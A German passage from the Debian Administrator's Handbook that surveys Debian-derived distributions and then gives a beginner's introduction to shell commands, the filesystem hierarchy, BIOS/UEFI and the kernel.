A.1. Beteiligung und Kooperation

Das Debian-Projekt erkennt die Wichtigkeit von abgeleiteten Distributionen an und unterstützt aktiv die Zusammenarbeit zwischen allen Beteiligten. Diese Zusammenarbeit beinhaltet das Integrieren von Verbesserungen die ursprünglich von abgeleiteten Distributionen entwickelt wurden, sodass jeder daraus einen Vorteil zieht und die Arbeit zur langfristigen Pflege reduziert wird.

Dies erklärt, warum abgeleitete Distributionen eingeladen sind, sich in Diskussionen auf der debian-derivatives@lists.debian.org Mailing-Liste einzubringen und am Zensus zu abgeleiteten Distributionen teilzunehmen. Das Ziel der Beteiligung ist es, Informationen zu Arbeiten an den abgeleiteten Distributionen zu sammeln, damit die offiziellen Debian Maintainer besser den Status ihrer Pakete in den Debian Varianten verfolgen können.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Lassen Sie uns nun kurz die interessantesten und bekanntesten Derivate ansehen.

A.2. Ubuntu

Ubuntu hat für viel Wirbel gesorgt als es in der Freie-Software-Szene auftauchte. Und das aus gutem Grund: Canonical Ltd., die Firma, die die Distribution erstellt hat stellte 30 Debian-Entwickler ein und gab als langfristiges Ziel an, eine zweimal jährlich erscheinende Distribution für Jedermann auf den Markt zu bringen. Sie verpflichteten sich auch dazu, jede Version für eineinhalb Jahre zu unterstützen.

Diese Ziele bedeuten zwangsläufig auch eine Reduzierung des Umfanges. Ubuntu richtet sein Hauptaugenmerk auf eine kleinere Anzahl an Software-Paketen als Debian und stützt sich primär auf den GNOME-Desktop (obwohl offiziell auch eine KDE-basierte Version namens “Kubuntu” unterstützt wird). Alle Komponenten wurden internationalisiert und in sehr viele Sprachen übersetzt.

Bis jetzt konnte Ubuntu ihren Release-Rythmus einhalten. Es wird ebenfalls eine Long Term Support (LTS) Version veröffentlicht, wofür ein 5-Jahre-Wartungssupport angeboten wird. Im April 2016 ist die aktuelle LTS-Version 16.04 erschienen, Spitzname "Xenial Xerus". Die aktuellste nicht-LTS-Version ist 17.10, Spitzname "Artful Aardvark". Die Versionsnummern beschreiben das Veröffentlichungsdatum: Beispielsweise steht 17.10 für den Oktober (10. Monat) des Jahres 2017.

IN DER PRAXIS Ubuntus Support- und Wartungsversprechen

Canonocal hat die Regeln, nach denen sich die Länge der Wartungsperiode für ein bestimmtes Release richtet, mehrfach angepasst. Als Unternehmen verspricht Canonical, Sicherheitsaktualisierungen für die gesamte Software in den Zweigen main und restricted des Ubuntu-Archivs zur Verfügung zu stellen, 5 Jahre für die LTS- und 9 Monate für die anderen Releases. Der Rest (angesiedelt in den Zweigen universe und multiverse) wird nach Kräften von Freiwilligen des MOTU-Teams (Masters Of The Universe) gewartet. Rechnen Sie damit, die Sicherheitswartung selbst zu bewältigen, wenn Sie auf Pakete aus den letzteren Zweigen angewiesen sind.

Ubuntu hat mitlerweile eine breite Anhängerschaft in der Öffentlichkeit erreicht. Millionen Benutzer sind beeindruckt von seiner einfachen Installation und der Arbeit die in die Verbesserung der Benutzerfreundlichkeit des Desktops gesteckt wurde.

Ubuntu und Debian hatten eine angespannte Beziehung; Debian-Entwickler, die große Hoffnungen in Ubuntu gesetzt hatten, direkt zu Debian beizutragen, waren enttäuscht über den Unterschied zwischen dem kanonischen Marketing, das implizierte, dass Ubuntu ein "guter Bürger" in der Welt der Freien Software wäre und der tatsächlichen Praxis, einfach die Änderungen, die sie an Debian-Paketen vorgenommen hatten, öffentlich zu machen. Die Situation hat sich im Laufe der Jahre verbessert und Ubuntu hat es nun zur allgemeinen Praxis gemacht, Patches an die am besten geeignete Stelle weiterzuleiten (obwohl dies nur für externe Software gilt, die sie selbst verpacken und nicht für die Ubuntu-spezifische Software wie Mir oder Unity).

→ http://www.ubuntu.com/

A.3. Linux Mint

Linux Mint ist eine teilweise von der Community gepflegte Distribution, die durch Spenden und Werbung finanziert wird. Ihr Hauptzweig basiert auf Ubuntu, es gibt jedoch auch eine “Linux Mint Debian Edition”, die ständig weiterentwickelt wird. Sie basiert auf Debian Testing. In beiden Fällen wird die Installation über eine Live-CD gestartet.

Das Ziel der Distribution ist die Vereinfachung des Zugriffs auf fortschrittliche Technologien. Sie bietet spezielle grafische Oberflächen für die übliche Software. Linux Mint basiert standardmäßig auf Cinnamon an Stelle von GNOME (aber es gibt auch MATE sowie KDE oder Xfce) . Auch die Software-Paketverwaltung, obwohl auf APT aufbauend, bietet ein spezielles Interface mit einer Vorab-Prüfung auf evtl. Gefahren und Probleme bei einem Paket-Update.

Linux Mint beinhaltet eine große Anzahl proprietärer Software, um die bestmögliche Nutzererfahrung sicherzustellen. Zum Beispiel: Adobe Flash und Multimedia Codecs.

→ http://www.linuxmint.com/

A.4. Knoppix

Knoppix bedarf wohl kaum einer Einführung. Es war die erste weitverbreitete Distribution, die sich von einer Live-CD starten ließ. Mit anderen Worten: Knoppix kam auf einer bootfähigen CD-ROM mit einem vollständigen Linux-System, das sich auch auf Rechnern ohne Festplatte starten ließ; alle bereits auf dem Rechner installierten Systeme wurde nicht angerührt. Die automatische Hardware-Erkennung macht diese Distribution auf nahezu allen Rechnern lauffähig. Die CD-ROM enthält fast 2 GB (gepackte) Software und die DVD enthält noch mehr.

Diese CD-ROM in Verbindung mit einem USB-Stick erlaubt es, Ihre Daten mitzunehmen und auf jedem beliebigen Computer zu arbeiten, ohne Spuren zu hinterlassen. Das liegt daran, dass die Distribution die Festplatte überhaupt nicht benutzt. Knoppix verwendet standardmäßig LXDE (einem sehr schlanken grafischen Desktop), aber die DVD-Version enthält auch GNOME und KDE. Viele andere Distributionen nutzen andere Zusammenstellungen von Desktop und Software. Dies wird teilweise durch das Debian live-build-Paket ermöglicht, das es relativ einfach macht, Live-CDs zu erstellen.

→ http://live.debian.net/

Knoppix liefert auch einen Installer: Sie können die Distribution erst als LiveCD ausprobieren und sie dann auf eine Festplatte installieren um bessere Performance zu erhalten.

→ http://www.knopper.net/knoppix/index-en.html

A.5. Aptosid und Siduction

Diese von der Community gepflegte Distribution verfolgt die Änderungen in Debian Sid (Unstable), daher der Name. Die Änderungen haben einen begrenzten Umfang: Ziel ist das Bereitstellen der aktuellsten Software und Treiber für die neueste Hardware bei gleichzeitiger Möglichkeit des jederzeitigen Wechsels zurück zur offiziellen Debian-Distribution. Aptosid war früher unter dem Namen Sidux bekannt, Siduction ist ein jüngerer Fork von Aptosid.

→ http://aptosid.com

→ http://siduction.org

A.6. Grml

Grml ist eine LiveCD mit vielen Tools für Administratoren zu den Themen Installation, Softwareverteilung und System-Rettung. Die LiveCD ist in zwei Ausprägungen verfügbar, full und small, beide sowohl für 32bit als auch für 64-bit PCs. Offensichtlich unterscheiden sich beide bzgl. der Menge der zur Verfügung gestellten Software und der daraus resultierenden Größe.

→ https://grml.org

A.7. Tails

Das Ziel von Tails (The Amnesic Incognito Live System) ist, ein Live-System zur Verfügung zu stellen, das Anonymität und Privatsphäre schützt. Es legt großen Wert darauf, keine Spuren auf dem Computer auf dem es läuft, zu hinterlassen und benutzt das Tor-Netzwerk, um sich so anonym wie möglich mit dem Internet zu verbinden.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux ist eine Debian-basierte Distribution, die sich auf Penetrationstests ("pentesting") spezialisiert hat. Es stellt Software zur Verfügung, die dabei hilft, die Sicherheit eines bestehenden Netzwerks oder Computers im laufenden Betrieb zu überprüfen und nach einem Angriff zu analysieren (als "Computerforensik" bezeichnet).

→ https://kali.org

A.9. Devuan

Devuan ist ein relativ neuer Fork von Debian: er begann 2014 als Reaktion auf die Entscheidung von Debian, auf systemd als Standard-Init-System umzusteigen. Eine Gruppe von Benutzern, die sysv verbunden sind und wegen (realer oder wahrgenommener) Nachteilen gegen systemd sind, startete Devuan mit dem Ziel, ein systemd-loses System aufrechtzuerhalten. Bis März 2015 haben sie keine wirkliche Veröffentlichung gemacht: es bleibt abzuwarten, ob das Projekt erfolgreich sein und seine Nische finden wird oder ob die systemd-Gegner lernen werden, es zu akzeptieren.

→ https://devuan.org

A.10. Tanglu

Tanglu ist ein weiteres Debian-Derivat; dieses basiert auf einer Mischung aus Debian Testing und Unstable mit Patches für einige Pakete. Sein Ziel ist es, eine moderne Desktop-freundliche Distribution auf Basis von frischer Software anzubieten ohne die Veröffentlichungsbeschränkungen von Debian.

→ http://tanglu.org

A.11. DoudouLinux

DoudouLinux sich an kleine Kinder (ab 2 Jahren). Um dieses Ziel zu erreichen, bietet es eine stark angepasste grafische Benutzerschnittstelle (basierend auf LXDE) und es kommt mit vielen Spielen und Lernprogrammen. Der Internet-Zugang wird gefiltert, um Kinder vor dem Besuch problematischer Webseiten zu schützen. Werbung wird unterdrückt. Dahinter steckt die Absicht, dass Eltern ihre Kinder unbesorgt den Computer benutzen lassen können wenn er mal gestartet ist. Und Kinder werden DoudouLinux gerne nutzen, genauso wie sie ihre Spielkonsole nutzen.

→ http://www.doudoulinux.org

A.12. Raspbian

Raspbian ist ein Rebuild von Debian, das für die beliebte (und preiswerte) Raspberry Pi-Familie von Single-Board-Computern optimiert wurde. Die Hardware für diese Plattform ist leistungsfähiger als was die Debian armel Architektur nutzen kann, aber es fehlen einige Funktionen, die für armhf erforderlich wären; daher ist Raspbian eine Art Vermittler, der speziell für diese Hardware umgebaut wurde und Patches enthält, die nur für diesen Computer erzeugt wurden.

→ https://raspbian.org

A.13. und viele mehr

Die Distrowatch Website verweist auf eine riesige Zahl von Linux Distributionen, von denen viele auf Debian basieren. Auf dieser Seite zu stöbern ist ein großartiger Weg um ein Gefühl für die Vielfalt in der Welt Freier Software zu bekommen.

→ http://distrowatch.com

Das Suchformular kann helfen, eine Distribution nach ihrer Herkunft aufzuspüren. Im März 2015 führte das Stichwort Debian zu 131 aktiven Distributionen!

→ http://distrowatch.com/search.php

Anhang B. Kurzer Förderkurs

Obwohl dieses Buch vor allem für Administratoren und „Power-User“ gedacht ist, möchten wir motivierte Einsteiger nicht ausschließen. Dieser Anhang enthält daher einen Schnellkurs, der die grundlegenden Konzepte beschreibt, die mit der Handhabung eines Unix-Rechners verbunden sind.

B.1. Shell und grundlegende Befehle

In der Unix-Welt wird jeder Administrator früher oder später die Befehlszeile verwenden müssen; zum Beispiel, wenn das System nicht korrekt startet und nur einen Rettungsmodus mit einer Befehlszeile bereitstellt. Mit einer derartigen Schnittstelle umgehen zu können, stellt daher unter solchen Umständen eine grundlegende Überlebensfertigkeit dar.

KURZER BLICK Den Befehlsinterpreter starten

Eine Befehlszeilen-Umgebung kann von der grafischen Arbeitsfläche aus mit einer als „Terminal“ bezeichneten Anwendung ausgeführt werden. In GNOME kann man es von der “Activities”-Übersicht (zu erreichen, wenn man die Maus in die obere Linke Ecke bewegt) aufrufen, indem Sie die ersten Buchstaben der Applikation eintippen. Unter KDE finden man es unter K → Applications → System menu.

Dieses Kapitel gibt nur einen kurzen Überblick über die Befehle. Sie alle haben zahlreiche Optionen, bitte lesen Sie dazu auch die ausführliche Dokumentation auf ihren jeweiligen Handbuchseiten.

B.1.1. Den Verzeichnisbaum durchsuchen und Dateien verwalten

Sobald eine Sitzung gestartet ist, zeigt der Befehl pwd (das steht für print working directory) die derzeitige Position im Dateisystem an. Das aktuelle Verzeichnis kann mit dem Befehl cd verzeichnis (cd steht für change directory) gewechselt werden. Das übergeordnete Verzeichnis heißt immer .. (zwei Punkte), während das aktuelle Verzeichnis auch als . (ein Punkt) bekannt ist. Der Befehl ls (list) zeigt den Inhalt eines Verzeichnisses an. Wenn keine zusätzlichen Parameter angegeben werden, wird das aktuelle Verzeichnis angezeigt.

$ pwd
/home/rhertzog
$ cd Desktop
$ pwd
/home/rhertzog/Desktop
$ cd .
$ pwd
/home/rhertzog/Desktop
$ cd ..
$ pwd
/home/rhertzog
$ ls
Desktop    Downloads  Pictures  Templates
Documents  Music      Public    Videos

Ein neues Verzeichnis kann mit mkdir Verzeichnis erstellt und ein bestehendes (leeres) Verzeichnis mit rmdir Verzeichnis entfernt werden. Der Befehl mv (moving) ermöglicht es, Dateien und Verzeichnisse zu verschieben oder umzubenennen. Eine Datei wird mit rm Datei (remove) gelöscht.

$ mkdir test
$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    test
$ mv test new
$ ls
Desktop    Downloads  new       Public     Videos
Documents  Music      Pictures  Templates
$ rmdir new
$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public

B.1.2. Textdateien anzeigen und verändern

Der Befehl cat datei (der dazu gedacht ist, Dateien auf seinem Standardausgabegerät zu verketten [= concatenate]) liest eine Datei und zeigt ihren Inhalt im Terminal an. Wenn die Datei zu groß ist, um auf den Bildschirm zu passen, kann man ein Seitenwechselprogramm wie less (oder more) benutzen, um sie Seite für Seite anzuzeigen.

Der Befehl editor startet einen Text-Editor (wie vi oder nano) und ermöglicht es, Textdateien zu erstellen, zu verändern und zu lesen. Sehr einfache Dateien können mitunter direkt im Befehlsinterpreter mithilfe einer Umleitung erstellt werden: echo „text“ >datei erstellt eine Datei namens datei mit dem Inhalt „text“. Mit einem Befehl wie echo „mehrText“ >>datei kann auch eine Zeile am Ende der Datei hinzugefügt werden. Bitte beachten Sie >> in diesem Beispiel.

B.1.3. Nach Dateien und in Dateien suchen

Der Befehl find verzeichnis kriterien sucht verschiedenen Kriterien entsprechend in der Verzeichnishierarchie unterhalb von verzeichnis nach Dateien. Das am häufigsten verwendete Kriterium ist -name name: mit ihm kann eine Datei namentlich gesucht werden.

Der Befehl grep ausdruck dateien durchsucht den Inhalt der Dateien und exzerpiert die Zeilen, die dem regulären Ausdruck entsprechen (siehe ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck in der Seitenleiste). Das Hinzufügen der Option -r bewirkt eine rekursive Suche in allen Dateien des Verzeichnisses, das als Parameter angegeben wird. So ist es möglich, nach einer Datei zu suchen, wenn nur ein Teil ihres Inhalts bekannt ist.

B.1.4. Prozesse verwalten

Der Befehl ps aux listet die Prozesse auf, die gerade laufen, und hilft dabei, sie anhand ihrer pid (process id) zu identifizieren. Wenn die pid eines Prozesses bekannt ist, kann man ihm mit dem Befehl kill -signal pid ein Signal schicken (falls der Prozess dem aktuellen Benutzer gehört). Es gibt verschiedene Signale; am häufigsten werden TERM (eine höfliche Aufforderung aufzuhören) und KILL (ein erzwungener Abbruch) verwendet.

Der Befehlsinterpreter kann auch Programme im Hintergrund ausführen, wenn dem Befehl ein „&“ folgt. Durch Verwendung dieses Und-Zeichens übernimmt der Benutzer sofort wieder die Kontrolle über das Terminal, obwohl der Befehl noch läuft (vor dem Benutzer verborgen als Hintergrundprozess). Der Befehl jobs listet die im Hintergrund laufenden Prozesse auf; das Ausführen von fg %job-nummer (für foreground) stellt einen Job wieder im Vordergrund her. Wenn ein Befehl im Vordergrund läuft (weil er entweder normal gestartet wurde oder mit fg wieder in den Vordergrund gebracht wurde), hält die Tastenkombination Control+Z den Prozess an und stellt die Kontrolle über die Befehlszeile wieder her. Der Prozess kann dann im Hintergrund mit bg %job-nummer (für background) fortgesetzt werden.

B.1.5. Systeminformation: Speicher, Speicherplatz, Identität

Der Befehl free zeigt Informationen über den Speicher; df (disk free) meldet den verfügbaren Speicherplatz auf jeder im Dateisystem eingehängten Platte. Seine Option -h (für human readable) rechnet die Größen in eine leichter lesbare Einheit um (üblicherweise Mebibytes oder Gibibytes). In ähnlicher Weise unterstützt der Befehl free die Optionen -m und -g und zeigt seine Daten dementsprechend entweder in Mebibytes oder Gibibytes an.

$ free
total       used       free     shared    buffers     cached
Mem:       1028420    1009624      18796          0      47404     391804
-/+ buffers/cache:     570416     458004
Swap:      2771172     404588    2366584
$ df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda2              9614084   4737916   4387796  52% /
tmpfs                   514208         0    514208   0% /lib/init/rw
udev                     10240       100     10140   1% /dev
tmpfs                   514208    269136    245072  53% /dev/shm
/dev/sda5             44552904  36315896   7784380  83% /home

Der Befehl id zeigt die Identität des Benutzers an, der die Sitzung ausführt, zusammen mit einer Liste der Gruppen, denen er angehört. Da der Zugriff auf einige Dateien oder Geräte auf Gruppenmitglieder beschränkt sein kann, kann es nützlich sein, die verfügbaren Gruppenmitgliedschaften zu überprüfen.

$ id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisation der Dateisystem-Hierarchie

B.2.1. Das Wurzelverzeichnis

Ein Debian-System ist gemäß dem Filesystem Hierarchy Standard (FHS) organisiert. Dieser Standard legt den Zweck jedes Verzeichnisses fest. So sind zum Beispiel die Verzeichnisse der obersten Ebene wie folgt bezeichnet:

- /bin/: grundlegende Programme;

- /boot/: Linux-Kernel und andere Dateien, die für seinen frühen Startvorgang benötigt werden;

- /dev/: Gerätedateien;

- /etc/: Konfigurationsdateien;

- /home/: persönliche Dateien des Benutzers;

- /lib/: grundlegende Bibliotheken;

- /media/*: Einhängepunkte für entfernbare Geräte (CD-ROM, USB-Sticks und so weiter);

- /mnt/: vorübergehender Einhängepunkt;

- /opt/: zusätzliche von Dritten bereitgestellte Anwendungen;

- /root/: persönliche Dateien des Administrators (zu Root gehörig);

- /run/: flüchtige Laufzeitdaten, die Neustarts nicht überstehen (noch nicht in der FHS enthalten);

- /sbin/: Systemprogramme;

- /srv/: Daten, die von auf diesem System untergebrachten Servern benutzt werden;

- /tmp/: temporäre Dateien; dieses Verzeichnis wird häufig während des Rechnerstarts geleert;

- /usr/: Anwendungen; dieses Verzeichnis ist weiter unterteilt in bin, sbin, lib (nach derselben Logik wie beim Wurzelverzeichnis). Darüber hinaus enthält /usr/share/ architekturunabhängige Daten. /usr/local/ soll vom Administrator dazu verwendet werden, von Hand Anwendungen zu installieren, ohne dabei Dateien zu überschreiben, die das Paketsystem (dpkg) verwaltet.

- /var/: veränderliche Daten, die von Daemons gehandhabt werden. Hierzu gehören Protokolldateien, Warteschlangen, Zwischenspeicher und so weiter.

- /proc/ und /sys/ sind kernelspezifisch (und nicht Teil der FHS). Sie werden vom Kernel benutzt, um Daten in die Anwenderebene zu exportieren (für Erklärungen dieses Konzepts siehe Abschnitt B.3.4, „Die Anwendungsebene“ und Abschnitt B.5, „Die Anwendungsebene“.

B.2.2. Das Home-Verzeichnis des Benutzers

Der Inhalt des Home-Verzeichnisses eines Benutzers ist nicht standardisiert, es gibt aber einige beachtenswerte Gepflogenheiten. Eine ist, dass das Home-Verzeichnis eines Benutzers oft durch eine Tilde („~“) bezeichnet wird. Das ist nützlich zu wissen, denn Befehlszeileninterpreter ersetzen die Tilde automatisch durch das korrekte Verzeichnis (normalerweise /home/benutzer/).

Die Konfigurationsdateien der Anwendungen werden häufig direkt im Home-Verzeichnis des Benutzers gespeichert, jedoch beginnen ihre Namen gewöhnlich mit einem Punkt (zum Beispiel speichert der E-Mail-Client mutt seine Konfiguration in ~/.muttrc). Achten Sie darauf: Dateinamen, die mit einem Punkt beginnen, sind standardmäßig unsichtbar, und ls führt sie nur auf, wenn die Option -a benutzt wird und bei Dateimanagern muß dies auch explizit eingestellt werden.

Einige Programme verwenden auch mehrere in einem Verzeichnis organisierte Konfigurationsdateien (zum Beispiel ~/.ssh/). Einige Anwendungen (wie zum Beispiel der Web-Browser Iceweasel) benutzen ihr Verzeichnis auch, um einen Cache heruntergeladener Daten zu speichern. Dies bedeutet, dass diese Verzeichnisse schließlich sehr viel Speicherplatz belegen können.

Diese Konfigurationsdateien die direkt im Benutzerverzeichnis gespeichert werden und die oft gemeinschaftlich als Dotfiles bezeichnet werden, haben so stark gewuchert dass diese Verzeichnisse nun vollgestopft davon sind. Glücklicherweise führte führte eine Verbesserung unter dem Schirm der FreeDesktop.org hinaus in die “XDG Base Directory Specification”, ein Abkommen mit dem Ziel diese Dateien und Verzeichnisse aufzuräumen. Diese Spezifikation besagt, dass Konfigurationsdateien unterhalb von ~/.config, Cache-Dateien unter ~/.cache und Applikationsdaten unter ~/.local (oder Unterverzeichnissen davon) gespeichert werden sollen. Dieses Abkommen bekommt so langsam Zugkraft und verschiedene Applikationen (insbesondere grafische) beginnen es nun umzusetzen.

Grafische Arbeitsflächen zeigen normalerweise den Inhalt des Verzeichnisses ~/Desktop/ (oder was immer die entsprechende Übersetzung für Systeme ist, die nicht in Englisch konfiguriert sind) auf der Arbeitsfläche an (das heißt, was auf dem Bildschirm sichtbar ist, wenn alle Anwendungen geschlossen oder zu Piktogrammen minimiert sind).

Schließlich speichert das E-Mail-System ankommende E-Mails manchmal in einem ~/Mail/-Verzeichnis.

B.3. Das Innenleben eines Rechners: die verschiedenen beteiligten Schichten

Ein Rechner wird häufig als etwas ziemlich Abstraktes angesehen, und die äußerlich sichtbare Schnittstelle ist wesentlich einfacher als seine interne Komplexität. Diese Komplexität ergibt sich zum Teil aus der Zahl der beteiligten Teile. Diese Teile können jedoch in Form von Schichten betrachtet werden, wobei eine Schicht nur mit der unmittelbar darüber- und darunterliegenden interagiert.

Ein Endbenutzer kann zurechtkommen, ohne diese Einzelheiten zu kennen... solange alles funktioniert. Wenn man einem Problem wie „Das Internet geht nicht!“ gegenübersteht, besteht der erste Schritt darin herauszufinden, aus welcher Schicht das Problem herrührt. Funktioniert die Netzwerkkarte (Hardware)? Wird sie vom Rechner erkannt? Sieht sie der Linux-Kernel? Sind die Netzwerkparameter richtig eingestellt? All diese Fragen grenzen die zutreffende Schicht ein und richten das Augenmerk auf die mögliche Quelle des Problems.

B.3.1. Die unterste Schicht: Die Hardware

Lassen Sie uns mit der grundlegenden Erinnerung beginnen, dass ein Rechner in erster Linie eine Zusammenstellung von Hardwareelementen ist. Es gibt im Allgemeinen eine Hauptplatine (das Motherboard) mit einem (oder mehreren) Prozessor(en), etwas RAM, Gerätesteuerungen und Erweiterungssteckplätze für Optionskarten (für weitere Gerätesteuerungen). Von diesen Steuerungen sind vor allem das IDE (paralleles ATA), das SCSI und das serielle ATA zum Anschluss von Speichergeräten wie Festplatten beachtenswert. Zu den weiteren Steuerungen gehören das USB, das eine große Vielfalt an Geräten (von Webkameras zu Thermometern, von Tastaturen zu Systemen für die Hausautomation) aufnehmen kann, und das IEEE_1394 (Firewire). Diese Steuerungen ermöglichen es häufig, mehrere Geräte anzuschließen. Daher wird das vollständige Subsystem, für das eine Steuerung zuständig ist, gewöhnlich als „Bus“ bezeichnet. Zu den Optionskarten gehören Grafikkarten (an die Bildschirme angeschlossen werden), Soundkarten, Netzwerkschnittstellenkarten und so weiter. Bei einigen Hauptplatinen sind diese Bestandteile bereits fest eingebaut, so dass sie keine Optionskarten benötigen.

IN DER PRAXIS Überprüfen, ob die Hardware funktioniert

Zu überprüfen, ob ein Hardwareteil funktioniert, kann schwierig sein. Dagegen lässt sich manchmal recht einfach feststellen, dass es nicht funktioniert.

Ein Festplattenlaufwerk besteht aus sich drehenden Platten und sich bewegenden Magnetköpfen. Wenn eine Festplatte angeschaltet wird, erzeugt der Plattenmotor ein charakteristisches Surren. Außerdem gibt er Energie in Form von Hitze ab. Deshalb ist ein Festplattenlaufwerk, das beim Anschalten kalt und still bleibt, defekt.

Netzwerkkarten besitzen häufig LEDs, die den Verbindungsstatus anzeigen. Falls ein Kabel angeschlossen ist und zu einem funktionierenden Netzwerk-Hub oder -Schalter führt, wird zumindest eine LED an sein. Falls keine LED leuchtet, ist entweder die Karte selbst, das Netzwerkgerät oder das Kabel zwischen ihnen defekt. Der nächste Schritt besteht deshalb dann darin, jede Komponente einzeln zu überprüfen.

Einige Optionskarten - insbesondere 3D-Videokarten - enthalten Kühlungen, wie Kühlkörper und Ventilatoren. Wenn sich der Ventilator nicht dreht, obwohl die Karte angeschaltet ist, besteht eine plausible Erklärung darin, dass die Karte überhitzt ist. Das Gleiche gilt auch für den oder die Hauptprozessor(en) auf der Hauptplatine.

B.3.2. Der Starter: das BIOS oder UEFI

Hardware ist für sich genommen ohne entsprechende Software, die sie steuert, nicht in der Lage, sinnvolle Tätigkeiten auszuführen. Der Zweck des Betriebssystems und der Anwendungen besteht darin, die Hardware zu kontrollieren und mit ihr zu interagieren. Ihrerseits benötigen sie funktionierende Hardware, um zu laufen.

Diese Symbiose zwischen Hardware und Software kommt nicht von allein zustande. Wenn der Rechner zu Anfang hochgefahren wird, muss zunächst einiges eingerichtet werden. Diese Rolle übernimmt das BIOS oder UEFI, ein Stück Software, das in der Hauptplatine eingebettet ist und beim Hochfahren automatisch ausgeführt wird. Seine Hauptaufgabe besteht darin, nach Software Ausschau zu halten, an die es die Kontrolle übergeben kann. Normalerweise bedeutet dies im Falle von BIOS, nach der ersten Festplatte mit einem Boot-Sektor zu suchen (auch Master Boot Record oder MBR genannt), dann diesen Boot-Sektor zu laden und ihn auszuführen. Von da an ist das BIOS (bis zum nächsten Hochfahren) normalerweise nicht mehr beteiligt. Im Falle von UEFI startet der Prozess die Suche nach einer EFI Partition welche die weiteren zu startenden EFI Applikationen enthält.

HILFSPROGRAMM Setup, das BIOS/UEFI-Konfigurationsprogramm

Das BIOS/UEFI enthält auch Software namens Setup, das dazu bestimmt ist, bestimmte Aspekte des Rechners einzustellen. Insbesondere lässt sich mit ihm das bevorzugte Startgerät auswählen (zum Beispiel das Disketten- oder das CD-ROM-Laufwerk), die Systemuhr einstellen und so weiter. Um Setup zu starten, muss normalerweise unmittelbar nach dem Einschalten des Rechners eine Taste gedrückt werden. Diese Taste ist häufig Entf oder Esc, manchmal auch F2 oder F10. Meistens wird die Auswahlmöglichkeit während des Hochfahrens kurz eingeblendet.

Der Bootsektor (oder die UEFI Partition) enthält seinerseits Software, Boot-Loader genannt, dessen Zweck darin besteht, ein Betriebssystem zu finden und auszuführen. Da dieser Boot-Loader nicht auf der Hauptplatine eingebettet ist, sondern von einer Platte geladen wird, kann er intelligenter als das BIOS sein, woraus sich erklärt, warum nicht das BIOS selbst das Betriebssystem lädt. Zum Beispiel kann der Boot-Loader (auf einem Linux-System häufig GRUB) die verfügbaren Betriebssysteme auflisten und den Benutzer bitten, eines auszuwählen. Normalerweise ist dies mit einem Zeitlimit und einer voreingestellten Auswahl versehen. Manchmal kann der Benutzer auch zusätzliche Parameter zur Weiterleitung an den Kernel angeben und so weiter. Schließlich wird ein Kernel gefunden, in den Speicher geladen und ausgeführt.

NOTIZ UEFI, ein moderner BIOS-Ersatz

UEFI ist eine relativ neue Entwicklung. Die meisten neuen Computer unterstützen das Booten mit UEFI, aber in der Regel auch mit BIOS, um durch Rückwärtskompatibilität mit Betriebssystemen booten zu können, die nicht in der Lage sind UEFI zu nutzen.

Dieses neue System enfernt einige Beschränkungen des Bootens mit BIOS: durch Verwendung einer eignenen Partition brauchen die Bootloader keine speziellen Tricks mehr, einen sehr kleinen Master Boot Record unterzubringen, um dann den zu bootenden Kernel zu finden. Besser noch, mit einem passenden Linux Kernel kann UEFI diesen ohne dazwischengeschalteten Bootloader direkt booten. UEFI ist also die Grundlage für Secure Boot, eine Technologie, die sicherstellt, dass Sie nur durch den Betriebbssystemhersteller geprüfte Software laufen lassen.

Das BIOS/UEFI ist auch dafür zuständig, eine Anzahl von Geräten zu finden und zu initialisieren. Offensichtlich gehören hierzu die IDE/SATA-Geräte (normalerweise Festplatten und CD/DVD-ROM-Laufwerke) aber auch PCI-Geräte. Erkannte Geräte werden häufig während des Hochfahrens auf dem Bildschirm angezeigt. Falls diese Liste zu schnell vorbeiläuft, können Sie die Pause-Taste drücken, um sie zum Lesen anzuhalten. PCI-Geräte, die installiert sind, aber nicht angezeigt werden, sind ein schlechtes Zeichen. Im schlimmsten Fall ist das Gerät defekt. Im besten Fall ist es nur nicht mit der aktuellen Version des BIOS oder der Hauptplatine kompatibel. PCI-Spezifikationen entwickeln sich weiter, und bei alten Hauptplatinen ist nicht gewährleistet, dass sie mit neueren PCI-Geräten umgehen können.

B.3.3. Der Kernel

Sowohl das BIOS/UEFI als auch der Boot-Loader laufen jeweils nur für einige Sekunden; wir gelangen nun zur ersten Software, die länger läuft: dem Betriebssystem-Kernel. Dieser Kernel nimmt die Rolle eines Orchesterdirigenten ein und gewährleistet die Koordination zwischen Hardware und Software. Zu dieser Rolle gehören mehrere Aufgaben, unter anderem: Hardware betreiben, Prozesse verwalten, Benutzer und Berechtigungen, das Dateisystem und so weiter. Der Kernel stellt eine gemeinsame Grundlage für alle anderen Programme des Systems zur Verfügung.

B.3.4. Die Anwendungsebene

Obwohl alles, was außerhalb des Kernels geschieht, unter dem Begriff „Anwendungsebene“ zusammengefasst werden kann, können wir sie dennoch in verschiedene Software-Ebenen unterteilen. Ihr Zusammenwirken ist jedoch komplexer als zuvor, und die Unterteilungen sind manchmal nicht gerade einfach. Eine Anwendung verwendet normalerweise Bibliotheken, die wiederum den Kernel einbeziehen, die Kommunikation kann aber auch andere Programme einbeziehen, oder zahlreiche Bibliotheken können sich sogar gegenseitig aufrufen.

B.4. Einige vom Kernel erledigte Aufgaben

B.4.1. Die Hardware steuern

Es ist vor allem Aufgabe des Kernels, die Hardwareelemente zu steuern, sie zu erkennen, sie einzuschalten, wenn der Rechner angeschaltet wird, und so weiter. Er macht sie auch über eine vereinfachte Programmierschnittstelle für die Software auf höherer Ebene verfügbar, so dass Anwendungen Geräte nutzen können, ohne sich um Einzelheiten kümmern zu müssen, wie zum Beispiel, in welchen Erweiterungssteckplatz die Optionsplatine eingesteckt ist. Die Programmierschnittstelle stellt auch eine Abstraktionsschicht zur Verfügung; diese ermöglicht es zum Beispiel einer Videokonferenz-Anwendung, eine Webkamera unabhängig von ihrer Marke und ihrem Modell zu verwenden. Die Anwendung kann einfach die Schnittstelle Video for Linux (V4L) benutzen, und der Kernel übersetzt die Funktionsaufrufe dieser Schnittstelle in die tatsächlichen Hardwarebefehle, die von der konkret verwendeten Webkamera benötigt werden.

